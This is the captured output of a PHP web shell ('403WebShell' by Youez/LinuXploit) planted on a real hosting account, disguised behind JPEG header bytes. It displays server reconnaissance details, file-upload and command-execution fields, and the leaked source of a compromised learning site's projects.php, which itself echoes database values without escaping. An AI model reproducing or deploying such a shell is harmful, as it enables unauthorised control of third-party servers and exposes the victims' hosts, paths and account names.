����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 18.220.94.189
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/learn.skilltainment.org/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/learn.skilltainment.org/projects.php
<?php
include './sidebar.php';
include './navbar.php';
if (isset($_GET['id'])) {
    if (!empty($_GET['id'])) {
        $pid = mysqli_real_escape_string($conn, $_GET['id']);
    }
}
?>

<div class="container-fluid pt-2 px-4 ">
    <div class="row home">
        <?php
        if ($user_type == 1) {
        ?>
            <div class="col-12 d-flex justify-content-end mb-2">
                <a href="new-project.php" class="bg-primary btn text-white"><i class="fa fa-plus"></i> New Project</a>
            </div>
            <?php
        }
        $query = "SELECT `pid`, `title`, `image`, `facilitator` ,`views`, UNIX_TIMESTAMP() -`time` as time_spent FROM `projects` ORDER BY `pid` DESC";
        $run = mysqli_query($conn, $query) or die(mysqli_error($conn));
        if (mysqli_num_rows($run) > 0) {
            while ($row = mysqli_fetch_array($run)) {
            ?>
                <div class="col-12 col-sm-6 col-md-6 col-lg-4 mb-3">
                    <div class="bg-secondary rounded h-100 shadow-3" data-aos="flip-left" data-aos-duration="500">
                        <a href="project=<?php echo filter_file(strtolower($row['title'])); ?>">
                            <div class="zoom">
                                <img src="./projects/<?php echo $row['image']; ?>" alt="">
                            </div>
                            <div class="title my-1 px-2"><?php echo $row['title']; ?></div>
                            <div class="d-flex justify-content-between px-2 pb-1">
                                <div>
                                    <?php
                                    echo "<i class=\"fa fa-eye\"></i> ".$row['views'];
                                    ?>
                                </div>
                                <div><?php timeSpent($row['time_spent']); ?></div>
                            </div>
                            <div class="d-flex justify-content-center px-2">
                                <div style="color:#fff;font-size:13px;">by <?php echo $row['facilitator'];?></div>
                            </div>
                        </a>
                    </div>
                </div>
            <?php
            }
        } else {
            ?>
            <p class="text-center h6 my-4">0 Projects</p>
        <?php
        }
        ?>
    </div>
</div>

<script>
    //slicing all playlists titles
    var count = document.querySelectorAll(".home .title").length;
    for (var i = 0; i < count; i++) {
        var title = document.querySelectorAll(".home .title")[i].innerText;
        var slicer = title.slice(0, 40);
        if (title.length >= 40) {
            document.querySelectorAll(".home .title")[i].innerHTML = slicer + '...';
        } else {
            document.querySelectorAll(".home .title")[i].innerHTML = slicer;
        }
    }

    document.querySelector("title").innerText = "Projects";
    <?php
    if ($user_type == 1) {
    ?>
        document.querySelectorAll(".navbar-nav a")[5].classList.add("active");
    <?php
    } else {
    ?>
        document.querySelectorAll(".navbar-nav a")[2].classList.add("active");
    <?php
    }
    ?>
</script>
<?php
include './footer.php';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit